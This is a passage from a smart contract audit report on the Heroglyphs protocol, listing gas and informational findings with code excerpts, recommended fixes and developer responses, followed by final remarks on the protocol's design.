`test_withdrawDeposit_whenDepositIsZeroAfterWithdraw_thenSurrenders() (gas: -5672 (-2.828%))`

`test_payTax_givenIdZero_thenReverts() (gas: -2112 (-16.247%))`

Developer Response

Acknowledged.

8. Gas - Use `SendNativeHelper` only if needed

Abstract `SendNativeHelper` is used for sending tokens and manages actions in case of reversion or tracking. If the contract doesn't need tracking functionality, it is cheaper to use only the native send function.

Technical Details

Contracts that implement `SendNativeHelper` but don't need tracking functionality:

- `ExecutionPool`
- `KeyOFT721`

These contracts don't need tracking because they always revert if sending a native token fails.

Impact

Gas savings.

Recommendation

Use `SendNativeHelper` only when tracking failed transfers are needed.

Developer Response

Acknowledged.

Informational Findings

1. Informational - Extract duplicated code into a function

Duplicated code should be extracted into the function to improve code readability and security.

Technical Details

The contract `ValidatorIdentity` has a lot duplicated code when defining NFT id and name:

```
if (_nftId == 0) {
    _nftId = identityIds[_name];
} else {
    _name = identities[_nftId].name;
}
```

This code can be extracted into the function and used like `(_nftId, _name) = _getNftIdAndName(_nftId, _name);` instead of copying code.

```
function _getNftIdAndName(uint256 _nftId, string memory _name) private view returns
(uint256, string memory) {
    if (_nftId == 0) {
        _nftId = identityIds[_name];
    } else {
        _name = identities[_nftId].name;
    }
    return (_nftId, _name);
}
```

The same duplicated code is in `Ticker` contract. The exact recommended function can be used here.

Impact

Informational.

Recommendation

Extract duplicated code and use functions.

Developer Response

Acknowledged.

2. Informational - Typos

Typos were found in the codebase.

Technical Details

Typos:

- origina;
- Tagerted and here
- depolsit
- surrended should be surrendered
- TickerSurrended
- traking
- Indentity
- implmented
- totaltOfExecutions_ also in interface
- grafiti
- OFT721 should be KeyOFT721

Impact

Informational.

Recommendation

Fix typos.

Developer Response

Fixed.

3. Informational - Unused imports

There are unused imports that can be safely removed.

Technical Details

- OptionsBuilder library in TickerOperator.sol.
- HeroglyphAttestation contract in HeroglyphRelay.sol.

Impact

Informational.

Recommendation

Remove unused imports.

Developer Response

Acknowledged.

4. Informational - Verify `NameFilter` address

Verify `NameFilter` address is not zero before setting the new value.

Technical Details

Updating the `NameFilter` to address zero will break the flow to create ValidatorIdentitys and Tickers because name must be verified before minting using NameFilter.

Impact

Informational.

Recommendation

Before updating the `nameFilter` variable, verify the new value does not have the zero address.

Developer Response

Acknowledged.

5. Informational - Several two-byte-character checks are useless in NameFilter.sol

When asserting that a name is valid inside `isNameValidWithIndexError()`, multiple useless checks on two-byte characters will always pass.

Technical Details

Two-byte characters are stored in `charValue` before their validity is checked.

```
charValue = (uint16(uint8(strBytes[index]) & 0x1F) << 6) | (uint16(uint8(strBytes[index + 1])) & 0x3F);
```

As a result of the bit operations applied, `charValue` will be a value between 0 and 0x07FF (the latter is obtained by doing `0x1F << 6 | 0x3F`).

All checks that are outside the range above are redundant.

Impact

Informational.

Recommendation

Review the `charValue` calculation, and if that's correct, remove the redundant checks.

Developer Response

Acknowledged.

6. Informational - Incomplete NatSpec

NatSpec needs to be completed in some places. Provide the full info to enable easier integrations.

Technical Details

- Variable `deposit` in struct TickerMetadata is missing NatSpec information.
- Missing return value for `executeRelay()`.
- Missing external function description `send()`. Also, specify that the `msg.sender` must implement `receive()` function to receive the refund.
- Missing NatSpec for interface `IHeroglyphFactory`.
- Missing NatSpec for contract `KeyOFT721`.
- Missing NatSpec for interface `HeroOFTXCallbacks`.
- Missing NatSpec for external functions in the contract `OFT20Ticker`.

Impact

Informational.

Recommendation

Provide complete NatSpec information for easier integrations.

Developer Response

Acknowledged.

7. Informational - Emit event on every tax paid

Sometimes, the event `TaxPaid` will not be emitted even if part of the tax has been paid.

Technical Details

When the tax needed is above deposit amount, only part of the tax will be paid. It will only emit `FailedToPayTax` with the difference between total tax needed and paid tax amount.

Impact

Informational.

Recommendation

Emit the event `TaxPaid` for every transaction for which tax has been paid to enable better on-chain analytics. Move the emitting event `TaxPaid` outside the `else` statement. The `tax` value will be correct because it is capped to the `deposit` amount in the `if` statement.

```
...
      emit FailedToPayTax(_tickerId, _ticker.name, tax - deposit,
lastTimeTaxPaidWithBalance);

      tax = deposit;
      deposit = 0;
  } else {
      _ticker.lastTimeTaxPaid = uint32(block.timestamp);
      deposit -= uint128(tax);
-   emit TaxPaid(_tickerId, _ticker.name, tax, uint32(block.timestamp));
  }
+ emit TaxPaid(_tickerId, _ticker.name, tax, uint32(block.timestamp));
```

Developer Response

Acknowledged.

8. Informational - Ticker price can be 0 on creation

The Ticker price can be set to 0 during creation, but it must not be zero in other calls that update the Ticker price.

Technical Details

There is a check placed inside `hijack()` and `updatePrice()` to enforce positive prices but there is no such check when the Ticker is first created. This can be used to make the taxes always zero, at least until the `protectionInSeconds` passes; after that, the Ticker can be hijacked.

The functions `create()`, `createWithImmune()` and `createWithSignature()` all use `_executeCreate()` to effectively create a Ticker but without any check if the `price` value is zero.

```
function _executeCreate(TickerCreation calldata _tickerCreation, uint32
_immunityDuration) private {
    string memory tickerName = _tickerCreation.name;
    uint128 price = _tickerCreation.setPrice;

    if (msg.value < cost) revert NotEnough();

    _create(tickerName, 0);

    identities.push(
        TickerMetadata({
            // ...
            price: price,
            deposit: uint128(msg.value)
        })
    );
}
```

Impact

Informational.

Recommendation

Check that the `price` is positive inside `_executeCreate()`.

Also, consider setting a minimum `price` so the taxes aren't negligible within the `protectionInSeconds` period.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

9. Informational - Replace magic numbers with constants

Constant variables should be used instead of magic numbers to prevent typos and better explain such values.

Technical Details

The following numbers could be defined as private constants to explain their value:

- `35_000`
- `20_000`
- `10_000` could be MAX_BPS

Impact

Informational.

Recommendation

Use constant variables instead of magic numbers. This will not change gas consumption.

Developer Response

Acknowledged, most of them are already replaced to variable.

10. Informational - Heroglyph epochs are never marked as completed

Within `_addAttestationRoot()`, epochs are not marked as completed once a new epoch starts.

Technical Details

The `isCompleted` property will always be `false` for all epochs.

Impact

Informational. The `isCompleted` property of the epochs doesn't seem to be used within the protocol.

Recommendation

Mark epochs as completed when starting a new epoch.

```
function _addAttestationRoot(uint256 _epochNumber, uint256 _blockMinted, bytes32 _root)
internal {
    AttestationEpoch storage epoch = attestationEpochs[_epochNumber];
    epoch.blockNumbers.push(_blockMinted);
    epoch.blockAttestorsRoot.push(_root);

    if (epoch.blockNumbers.length < MAX_BLOCK_PER_EPOCH) return;

+  epoch.isCompleted = true;

    attestationEpochs.push(
        AttestationEpoch({ blockNumbers: new uint256[](0), blockAttestorsRoot: new
bytes32[](0), isCompleted: false })
    );

    emit EpochUpdated(_epochNumber + 1);
}
```

Developer Response

Won't fix, no longer relevant.

11. Informational - Prefer using Ownable2Step instead of Ownable

The contract Ownable2Step introduces a mechanism that prevents accidental transfer of contract ownership to an incorrect address. This is achieved by requiring the recipient of owner permission to actively accept the transfer through a contract call of its own.

Technical Details

Contracts that could switch to using Ownable2Step:

- `IdentityERC721`
- `HeroglyphRelay`
- `HeroglyphFactory`

Impact

Informational.

Recommendation

Use Ownable2Step instead of Ownable.

Developer Response

Acknowledged.

12. Informational - Missing event emits

Some functions that transfer values or modify state variables do not have events. Events can assist with analyzing contracts' on-chain history and are beneficial for adding to important functions.

Technical Details

Functions that are missing events:

- `updateLayerZeroGasLimit()`
- `claimAction()`
- `forgiveDebt()`
- `updateCrossChainFee()`
- `updateFeeCollector()`

Impact

Informational.

Recommendation

Add events to the functions listed above.

Developer Response

Acknowledged.

13. Informational - Avoid duplicated code

By reducing code duplication, the codebase will be easier to maintain and less error-prone.

Technical Details

The function `estimateFee()` uses the same code: `abi.encode(_to, _toSharedDecimals(_amountOrId))` as the internal function `_generateMessage()`.

```
function estimateFee(uint32 _dstEid, address _to, uint256 _tokenId) external view returns (uint256) {
-    return _estimateFee(_dstEid, abi.encode(_to, _toSharedDecimals(_tokenId)), defaultLzOption).nativeFee;
+    return _estimateFee(_dstEid, _generateMessage(_to, _tokenId), defaultLzOption).nativeFee;
}
```

Impact

Informational.

Recommendation

Use internal functions instead of duplicated code.

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

14. Informational - Use `type(uint256).max` instead of `0` to indicate unlimited supply

Several token contracts use `maxSupply == 0` to indicate an unlimited token supply. This behavior can lead to confusion when reading the code and querying the contract state.

Technical Details

The following contracts should be updated so that unlimited supply is represented with a big number (e.g., `type(uint256).max`) instead of being represented with `0`.

- HeroLinearToken20.sol
- KeyOFT721.sol
- OFT721Ticker.sol

Impact

Informational.

Recommendation

Use `type(uint256).max)` instead of `0` to represent an unlimited token supply.

Developer Response

Acknowledged.

15. Informational - Off-by-one error in `_executeAction()`

Due to the use of `>` instead of `>=` in `_executeAction()`, calls might revert instead of succeeding as intended.

Technical Details

The `_index` parameter is used to access the `allActions` array.

```
function _executeAction(uint32 _srcLzEndpoint, address _of, uint256 _index) internal
returns (uint256 amountDue_) {
    RequireAction[] storage allActions = requireActions[_srcLzEndpoint][_of];
    uint256 totalActions = allActions.length;

    if (totalActions == 0 || _index > totalActions) return 0;
    totalActions -= 1;

    RequireAction storage action = allActions[_index];

    // ...
}
```

The code returns 0 if `_index > totalActions`, but the correct condition to check would be `_index >= totalActions`.

Otherwise, if `_index == totalActions`, the transaction will revert due to an out-of-bounds access on the `allActions` array.

Impact

Informational.

Recommendation

Use `>=` instead of `>`.

```
- if (totalActions == 0 || _index > totalActions) return 0;
+ if (totalActions == 0 || _index >= totalActions) return 0;
```

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

16. Informational - Some tokens do not return a bool value on transfer

Some commonly used ERC20 tokens, like USDT, don't return a bool value on transfer, which requires additional changes to enable their usage.

Technical Details

`KeyOFT721` uses standard `ERC20.transferFrom()` function which expects return value but tokens that are missing return value, this call will revert.

For more info about tokens that are missing return values, check weird ERC20.

Impact

Informational. Some ERC20 tokens, like USDT, cannot be used as input tokens for buying `KeyOFT721`.

Recommendation

Use OZ function `safeTransferFrom()` which handles tokens that don't return a bool value on transfer.

```
if (address(inputToken) != address(0)) {
    inputToken.safeTransferFrom(msg.sender, treasury, cost);
}
```

Developer Response

Fixed in commit bbe668dcb4550302396d221159bf2826b1d3799f.

17. Informational - Suggest the array of indexes are sent in descending order

The array of indexes is used for an array that changes length, which can lead to unintended behavior.

Technical Details

The array of indexes from the param `_indexes` defines indexes of `requireActions` that will be executed. After execution, the element with a specified index is replaced with the last element from the index and the last one, that was executed, is removed from the array. This can cause problems if the `_indexes` are not defined in a way that accounts for the fact that some elements may change the index after each action.

Impact

Informational.

Recommendation

Add NatSpec for functions `claimAction()` and `forgiveDebt()` with suggestion to order array `_indexes` in descending order.

Developer Response

Acknowledged.

18. Informational - Adjustable epoch size

The attestation epochs are stored in the array elements that contain an array of blocks which maximum size is defined with the constant MAX_BLOCK_PER_EPOCH.

Technical Details

The constant defines the maximum number of elements in the array, set to 200. This number could be too high for future integrations. Changing this constant to a variable that can be changed will allow future changes if the array size becomes a problem.

Impact

Informational.

Recommendation

Define epoch size as the variable and add `onlyOwner` function for updates to enable future changes.

Developer Response

Won't fix, this flow no longer exists.

Final remarks

Heroglyphs created an innovative solution for using graffiti data defined inside the mined block by the block producers. It enables validators to create identities and attach tickers. The user specifies the ticker price and, to keep it, they have to pay taxes following a Harberger Tax model. Other users can hijack the ticker by paying the price set by the owner. Tickers define the operator contract that will be executed if they are included in the graffiti of a mined block. The relayer provides graffiti information, and ticker operators will be triggered during this process. Additionally, the protocol uses LayerZero to enable cross-chain communication and minting of Omnichain Fungible Tokens (OFT). The system also rewards the validators who didn't mine but attested to the block with Attestations, which are OFT tokens. This part was in the refactoring phase, and the end idea needed to be clarified.